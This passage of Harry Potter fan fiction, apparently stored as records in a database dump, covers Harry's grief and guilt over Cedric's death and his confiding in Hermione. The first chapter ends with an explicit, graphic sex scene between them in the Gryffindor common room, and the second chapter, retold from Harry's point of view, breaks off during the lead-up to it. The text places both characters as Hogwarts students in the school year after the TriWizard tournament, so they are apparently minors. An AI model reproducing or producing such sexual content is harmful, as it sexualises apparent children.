know.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I should\nhave guessed.&nbsp; I shouldn&#8217;t have been so\nwilling &#8211;&#8220;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Could you\nhave grabbed that cup in front of Cedric, thinking at the time that you would\nhave to face him in the Great Hall, knowing he got there first?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t\nknow,&#8221; he sighed. &#8220;No.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I ran my\nhand through his hair, a motion to soothe his disquieted thoughts, the smooth\nstrands flowing over my fingers.&nbsp; He\nsighed again and relaxed into me.&nbsp; I\nunderstood that he wanted to be held, so I held him, laying my head on top of\nhis, our arms around each other.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; We stayed\nlike that for an eternity, it seemed, although it may have been as short as\nfifteen minutes.&nbsp; His heart thudded\nthrough his light sweater, his breath alternately warming and cooling the damp\nspots left by his tears.&nbsp; I shivered\nslightly at the sensation, drawing another sigh from him.&nbsp; Instinctively I kissed the top of his head,\nremembering how reassuring it felt to me.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Slowly his\nhead came up from my shoulder.&nbsp; I angled\nmy head back slightly to meet his eyes.&nbsp;\nThey were still cloudy, but there was a strange look in them as he gazed\nat me.&nbsp; I became aware that we were\nstaring at each other, eyes moving over the other&#8217;s face.&nbsp; Without thinking, I dipped my head and\ncaptured his lips to mine.&nbsp; His eyes\nfluttered closed and his head tipped back to press his lips more firmly to\nmine.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I shut my\neyes and concentrated on the feel of his lips against mine, slightly\nwind-roughened and salty, certainly male.&nbsp;\nHe squeezed his arms around me, sitting erect, his lips now above mine,\npressing with a light suction.&nbsp; I\nallowed my lips to go slack and I was surprised when the kiss didn&#8217;t end, but\nbecame deeper.&nbsp; He tentatively touched\nhis tongue to my lips.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Somewhere\nin the corner of my mind I knew this was a psychological reaction to verbal\nintimacy, but I was reacting outside of thought.&nbsp; My tongue met his and our mutual gasps were loud in the quiet of\nthe common room.&nbsp; He sealed our lips\ntogether, exploring the recesses of my mouth with his tongue as I opened my\nmouth wide to him.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Our mouths\nstill fused together, I slid my hands under his jumper and oxford shirt, over\nhis hot skin.&nbsp; He made a small noise and\nhis hand went to my nape, tilting me forward.&nbsp;\nHis other hand was resting on the curve of my waist, moving up and down\na few inches.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I broke the\nkiss first.&nbsp; Breathing heavily, I\ngrabbed the hem of his sweater and pulled it up and over his head, watching as\nhis hair resettled.&nbsp; Nibbling at his\nlips, I worked the buttons of his shirt until it hung loose.&nbsp; My hands began a new tracing of his chest;\nHarry released a low groan into my mouth.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione,&#8221;\nhe said in a gruff voice I didn&#8217;t recognize.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What?&#8221; I\nresponded in a husky voice I didn&#8217;t recognize.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I think we should stop.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I want\nthis.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Later I\nwould replay this scene over and over again, wondering what possessed me to\noffer myself to him.&nbsp; Possibly I thought\nthat stopping at that point would be too awkward, just as awkward as if we&#8217;d\ngone all the way anyhow.&nbsp; Possibly\nbecause I wanted to take his mind off of his anguish for a little while.&nbsp; Hell, possibly because I was in love with\nHarry and not sure how to show it.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Emerald\nsparks flashed in his eyes as he opened the tie of my robe.&nbsp; He looked into my face before putting his\nlips to my neck.&nbsp; His hands came up and\ncupped my breasts, which were already peaked from the feel of his breath on\nme.&nbsp; He brushed his thumbs back and\nforth over the crests and I arched forward to give him better access.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I pulled\nhim down over me when his lips returned to mine.&nbsp; He propped himself up on his elbows and looked at me.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are you\nsure?&#8221; he panted lightly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes.&#8221; I\ncould feel his hardness pressing through his trousers and into my cleft.&nbsp; Small shards of dread were creeping up my\nspine, disrupting the tingling desire enveloping me, and I had to steel my\nresolve to go through with this.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;ll\nhurt.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ll be\ngentle.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He kissed\nme over and over until I felt dizzy and my fears faded to a small space in my\nmind.&nbsp; I ground my hips into his; he\nlifted the hem of my nightgown, kissing, laving and suckling my breasts until I\nwas writhing under him, wanting him to assuage the tension growing between my\nlegs.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I fumbled\nwith his belt buckle but managed to get it undone.&nbsp; Between the two of us, we got the button open and zipper\ndown.&nbsp; I reached out to grasp his prick\nin my hand, stroking it experimentally.&nbsp;\nBreath hissing, Harry pushed the fabric from his pelvic area and down\nhis legs.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He slanted\nforward and hooked his fingers into the waistband of my panties.&nbsp; &#8220;This is it, Hermione.&nbsp; If you want me to stop at any time, tell me\nand I will.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I shook my\nhead, but the fact was that I seriously doubted my decision.&nbsp; It was on the tip of my tongue to call the\nwhole thing off when he touched me.&nbsp;\nDown there.&nbsp; In just the right\nspot.&nbsp; My legs fell apart naturally as\nhe fingered my clit; my cries were muffled by the pressure of his mouth on\nmine.&nbsp; And when he slid a finger into\nme, I could stand no more.&nbsp; I bucked\nagainst it, loving the feel of it, the threads of pleasure swirling into my\nbelly.&nbsp; My fingers moved on his cock in\nrhythm with his movements.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He removed\nhis finger and I would have cried out for him to continue, but he shifted his\nweight and settled between my thighs.&nbsp;\nAll of the air left my lungs, replaced by gut-wrenching fear.&nbsp; With shaking fingers, I guided him to my\nentrance, then looked into his face.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ll try\nnot to hurt you,&#8221; he said, the lines of his face hard with pent-up tension.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s\nokay.&nbsp; Just do it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I forced\nmyself to keep my eyes open while he penetrated me, but when he gave the final\npush, my eyes screwed shut against the burning pain that lanced through\nme.&nbsp; Harry began to move over me,\ncarefully and slowly.&nbsp; The pain began to\ndiminish almost immediately, leaving me feeling full as I felt Harry&#8217;s prick\nagainst my tight walls.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I pulled my\nlegs back and was rewarded when Harry went deeper inside.&nbsp; I opened my eyes to see Harry over me,\nsupporting himself on his hands.&nbsp; His\nface was taut with concentration, the cords of his neck rigid, his lower lip\nbetween his teeth as he held back, trying not to hurt me.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry,&#8221; I\nwhispered.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He opened\nhis eyes and looked down at me, moving even more slowly, almost at a stop.&nbsp; &#8220;Yeah,&#8221; he panted.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I pulled on\nhis arms, trying to bring him down on top of me.&nbsp; &#8220;Harry, do it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t\nwant to hurt you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You\nwon&#8217;t.&nbsp; It feels good now.&nbsp; Please.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He didn&#8217;t\nincrease his pace right away, but pushed in deeper each time he thrust.&nbsp; It only took a few minutes before I was\nmoving against him, wanting more.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;More,\nHarry, faster.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He did\nboth.&nbsp; The sensations he created in me\npooled in my stomach, coiling tightly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry&#8230;&#8221; I\nmoaned as the coil unwound, causing me to arch and buck as my release washed\nover me.&nbsp; The ripples seemed to go on\nforever until I realized that some of them belonged to Harry.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Opening my\neyes, I saw the top of Harry&#8217;s head.&nbsp; It\ncame up slowly, revealing his sweaty, flushed countenance.&nbsp; He laid his head back on my shoulder, and\nagain I heard the thundering of his heart.&nbsp;\nI smiled and ran my hands through his hair, now wet from exertion.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;d\nbetter get to bed,&#8221; Harry told me half an hour later.&nbsp; &#8220;It&#8217;ll be sunup in less than an hour.&#8221;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay.&#8221;&nbsp; I pulled the lapels of my robe together and\nstretched as I stood.&nbsp; We kissed softly\nas we parted ways for our respective dormitories.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks for\nlistening.&nbsp; For everything.&#8221; He smiled\nat her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;d do\nanything for you, Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; His face\nturned serious.&nbsp; &#8220;I know.&nbsp; You&#8217;d do anything.&nbsp; I&#8217;d do anything for you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; We both\nturned and walked up the stairs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n\n\n\n\n\n'),
	(38, 2, '\n\n\n\n\n\nDisclaimer:&nbsp; This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended.\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N:&nbsp; This is simply Harry&#8217;s POV.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry&#8217;s\nPOV</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I wished I had never been born.&nbsp; True, I was already a famous and reputedly\npowerful wizard, but as Snape once said, &#8216;Fame isn&#8217;t everything.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The first months after the TriWizard\ntournament were the worst.&nbsp; Just imagine\nyour greatest fears and insecurities have all come to attack you and no one\nunderstands or believes you.&nbsp; They all\nsay its not you, that you&#8217;re not the one to blame; the thing is, they&#8217;re\nwrong.&nbsp; Everything from the beginning of\nyour life is wrong, utterly wrong.&nbsp; I am\nthe opposite of Voldemort, but the same.&nbsp;\nWe both destroy everything we touch with magic.</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The\nDursleys&#8217; kicked me out of their house after less than two weeks.&nbsp; That&#8217;s when the night terrors started.&nbsp; I owled Mr. Weasley and he agreed to pick me\nup in the Leaky Cauldron, where I stayed after the night bus dropped me off in\nDiagon Alley.&nbsp; At the Burrow, I was glad\nof the chaos; it took my mind off of my guilt most days.&nbsp; Ron and I passed much time beating bludgers,\ndegnoming the garden and playing chess.&nbsp;\nI would sneak out of the house every night and sleep in the garden as\nnot to scare everyone, returning before dawn or when Ron dragged me back to the\nhouse.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; For the first time ever, I dreaded\nthe return to Hogwarts.&nbsp; Hermione came\nto the Burrow for the last few weeks of the summer.&nbsp; She&#8217;d grown taller and more willowy, actually quite\nbeautiful.&nbsp; I wondered if she would be\nthe next target for Voldemort, or would he pick Ron?</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As I imagined, things did not\nimprove once I returned to school.&nbsp;\nPeople either stared at me or ignored me or more terrible yet, treated\nme with forced cheerfulness that clearly belied a desire to be far away from me.&nbsp; Malfoy dogged my steps every minute, trying\nto get me to react.&nbsp; But his taunts\ndidn&#8217;t make me angry.&nbsp; Nothing did.&nbsp; I felt nothing but gnawing guilt all of the\ntime.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron and Hermione were the only ones\nwho didn&#8217;t seem all that put on around me.&nbsp;\nI played chess with Ron as much as we played Quidditch.&nbsp; His was the first face I saw in the night as\nhe woke me from the endless number of dreams that peppered my sleep, his eyes\nbright with worry.&nbsp; Several times he\ntried to ask me about what had happened, about what happened on the other side\nof the portal; I just couldn&#8217;t bring myself to tell him.&nbsp;&nbsp; I knew he would tell me it wasn&#8217;t my fault\nand not to feel guilty, et cetera.&nbsp; What\nhe didn&#8217;t understand, what no one understands, was that I was the person who\nwanted Cedric to take the cup.&nbsp;\nAlone.&nbsp; Then I could ease out of\nthe spotlight for a while, let him have the glory for the Hufflepuffs.&nbsp; I don&#8217;t know why I couldn&#8217;t have just\ngrabbed the cup and left him there.&nbsp;\nThat scene replays over and over, the moment our hands closed over the\nhandles, consigning Cedric to his death and me to purgatory.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A couple times a week I would stay\nin front of the fire in the common room, awake for most of the night.&nbsp; More than anything, I wanted to think in\nsilence, but also to let everyone get a quiet night of sleep.&nbsp; The tired faces of the Gryffindor students\nattested to the severity of my nightmares, as no charm or spell was strong\nenough to drown out the noise I made while in the throes of Morpheus&#8217; grip.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I\nwas sitting in my usual position, slumped low on the sofa, legs sprawled in\nfront of the hearth when I heard soft footsteps.&nbsp; Hermione came around the corner and looked at me.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What are you doing?&#8221; she\nasked.&nbsp; Dumb question, I thought.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Letting the house get a little\nsleep.&nbsp; What&#8217;re you doing up?&#8221; &nbsp;She was holding her worn copy of &#8216;Hogwarts, a\nHistory&#8217; and observing me with a calm gaze.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Too quiet.&#8221;&nbsp; She sat down next to me and put the textbook\non the floor.&nbsp; I saw her studying my\nprofile for a quick second before she turned to contemplate the flames licking\nup the fireplace.&nbsp; I felt my exhaustion\ncreeping into my bones.&nbsp; I was tired of\nacting as if everything was okay.&nbsp; And\ntired of holding it all inside.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He wanted me to have the Cup all to\nmyself, you know that, don&#8217;t you?&#8221; I blurted.&nbsp;\nI turned to look at her and was surprised to see her gazing at me\nlevelly.&nbsp; For some reason, it made me\nwant to tell her everything.&nbsp; The\nexpectant, but non-judgmental look she wore battered down my defenses and I\nstruggled to hold back, to keep her from knowing what had transpired away from\nHogwarts that night.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Tell me, Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I began to talk.&nbsp; Once I began, I couldn&#8217;t seem to stop.&nbsp; I traveled back in time to that day, giving\na running commentary of each step I took, completely reliving the final task.&nbsp; Coming upon Cedric and the cup.&nbsp; That moment we were transported, not to\nvictorious cheers, but to Voldemort and Wormtail.&nbsp; I fed on Hermione&#8217;s silent acceptance.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As I spoke of Cedric&#8217;s death and the\nrequest his ghost had made of me, all of the anguish and terror visited upon me\nthat night slammed into my carefully constructed fa&#231;ade.&nbsp; I put my head in my hands, fighting the\noverwhelming tides of coldness that washed over me, holding back the tears I&#8217;d\nvowed not to shed.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I felt Hermione&#8217;s hand as she rubbed\nmy back with her flat palm.&nbsp; It was so\nwarm and soothing.&nbsp; Growing up without a\nmother, it was rare for me to experience warmth from another person without\nhaving to share it.&nbsp; Hermione&#8217;s touch was\nfirm as she circled over my sweater.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Taking a deep breath, I sat up and\nback against the couch.&nbsp; It was\ndone.&nbsp; I&#8217;d killed Cedric, he was dead\nbecause we couldn&#8217;t decide, no, because I couldn&#8217;t decide&#8230;</p>\n\n&#8220;After that, what could I do?&nbsp; I&#8217;d already killed him &#8211;&#8220;&nbsp; The image of my hand grasping Cedric&#8217;s cold,\ndead wrist loomed in my head, along with other, jumbled images &#8211; Cedric&#8217;s\nparents, my mum and dad, Dumbledore, Snape &#8211; all the people I felt I&#8217;d let\ndown.&nbsp; \n\n&#8220;Harry &#8211;&#8220;\n\n&#8220;Don&#8217;t tell me it isn&#8217;t my fault.&nbsp; I&#8217;m to blame for so much, so many &#8211;&#8220; Before\nI could register anything, I found myself sobbing into Hermione&#8217;s\nshoulder.&nbsp; I surrendered to the wretched\ngrief that I&#8217;d heretofore held inside, the sorrow bursting forth like a\nwaterfall from my chest.\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It vaguely registered that\nHermione was crying as well.&nbsp; I wanted\nto tell her that it was going to be okay, that she didn&#8217;t need to cry for me,\nbut I couldn&#8217;t take a deep enough breath to do more than sob hoarsely.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I can&#8217;t describe how good it felt to\nbe held by another person.&nbsp; I&#8217;d never\nhad the experience before.&nbsp; It was like\nbeing cocooned in the warmest, softest blanket.&nbsp; I squeezed my arms around her lightly and she returned the\ngesture.&nbsp; A second later she spoke.</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry,\nyou are wrong.&nbsp; You were, and are, the\nsavior of the wizarding world.&nbsp; Probably\nof the entire world.&nbsp; If you hadn&#8217;t\nlived that night, destroyed Voldemort&#8217;s power, no one could have stopped him.&nbsp; Not even Dumbledore.&nbsp; You have saved more lives than anyone.&nbsp; You can&#8217;t change what happened.&nbsp; You didn&#8217;t know.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Wise words indeed.&nbsp; I still believe that I let many people down\nthat day, that I should have figured it out with the Marauder&#8217;s Map.&nbsp; But her softly spoken words touched the part\nof my psyche that wanted to just be absolved of all responsibility.&nbsp; As long as she and Ron and Dumbledore could\nforgive me, that I could go on.&nbsp; Her\nresponse made sense, but I wasn&#8217;t ready to accept it, not yet.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I stayed within the circle of her\narms, inhaling her light talcum powder scent.&nbsp;\nShe riffled her hand through my hair and laid her cheek on the top of my\nhead.&nbsp; It was the most natural feeling\nin the world, to be cradled against her.&nbsp;\nThe gentle rise and fall of her chest lulled me into a feeling of\ncomplete security.&nbsp; If only she could\nlie with me at night until I drifted to sleep&#8230;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Almost on instinct, half-dazed, I\nrooted my mouth ever so slightly.&nbsp; She\nshivered as a puff of air hit the damp area where my tears had fallen.&nbsp; I felt the tightening of her nipple under\nher robe and a corresponding tightening in my groin.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The kiss she pressed to the top of\nmy head brought me out of the trance-like state I&#8217;d been in.&nbsp; Lifting my head, I found myself entrapped by\nHermione&#8217;s face, bright with tears, looking down at me intently.&nbsp; I took in her features; I hadn&#8217;t truly\nnoticed the light sprinkle of freckles across her nose and cheeks, nor the way\nher upturned nose gave her a cherubic quality.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Her lips descended toward mine and I\nclosed my eyes to the silky sensation.&nbsp;\nAnother first.&nbsp; Unless you\ncounted being kissed by Franny Connors in the primary school cloakroom, I&#8217;d\nnever really kissed a girl.&nbsp; Or had her\nlips on mine, as it were.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I sat up to make it easier to access\nher lips.&nbsp; My lack of experience made me\nhesitant, but I needn&#8217;t have worried.&nbsp;\nInstinct took over and when she opened her mouth to me, I did the same,\ntentatively touching my tongue to 